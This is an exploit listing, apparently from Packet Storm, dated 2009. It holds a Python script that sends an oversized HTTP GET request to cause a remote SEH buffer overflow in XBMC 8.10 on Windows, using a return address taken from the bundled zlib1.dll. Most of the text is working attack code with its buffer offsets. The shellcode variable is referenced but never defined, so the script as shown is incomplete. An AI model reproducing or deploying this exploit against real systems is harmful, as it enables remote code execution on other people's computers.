XBMC 8.10 Overflow

Type packetstorm
Reporter n00b
Modified 2009-04-06T00:00:00


                                            `#!/usr/bin/env python   
Xbmc get request remote buffer overflow 8.10 *seh*(Universal address)!!   
Tested:Win xp sp2 eng Win vista sp1  
Vendor url:http://xbmc.org/   
Release date:April the 4th 2009  
versions affected: windows all versions.   
I had tried awhile to get a nice pop ebx pop ret address and just   
could not find a suitable one especially that was any good.and it   
had to be shipped with the application and not have /safe seh.   
To start with i looked at the zlib.dll to see of there were any   
nice pop pop ret address i noticed there was one in particular that   
stood out and decided to try it.   
There is no need for me to release any more exploits for this application   
as i have covered all the areas which i wanted to and want to   
move on from this.   
If your interested to see how this worked attach a debugger and add some   
hit tracing :).It is possible to use this with all the buffer overflows   
i released.   
Credits to n00b for finding the buffer overflow and writing   
The information in this advisory and any of its  
demonstrations is provided "as is" without any  
warranty of any kind.  
I am not liable for any direct or indirect damages  
caused as a result of using the information or  
demonstrations provided in any part of this advisory.  
Educational use only..!!  
import sys, socket   
import struct  
port = 80   
host = sys.argv[1]   
Junk_buffer1 = 'A'*998  
Pointer_To_Next_SEH = struct.pack('<L',0x909006eb)  
###/SafeSEH Module Scanner, item 55  
# SEH mode=/SafeSEH OFF  
# Base=0x62e80000  
# Limit=0x62e97000  
# Module Name=C:\Program Files\XBMC\zlib1.dll  
###This was found in the module zlib1 and is universal.  
#62E83BAC 5B POP EBX  
#62E83BAD 5D POP EBP  
#62E83BAE ^E9 CDD9FFFF JMP zlib1.compressBound  
SE_Handler = struct.pack('<L',0x62E83BAC)  
Junk_buffer3 = 'D'*635  
# create a socket object called 'c'   
c = socket.socket(socket.AF_INET, socket.SOCK_STREAM)   
# connect to the socket   
c.connect((host, port))   
Request = (Junk_buffer1 + Pointer_To_Next_SEH + SE_Handler + Shell_code + Junk_buffer3)  
# create a file-like object to read   
fileobj = c.makefile('r', 0)   
# Ask the server for the file   
fileobj.write("GET /"+Request+" HTTP/1.1\n\n")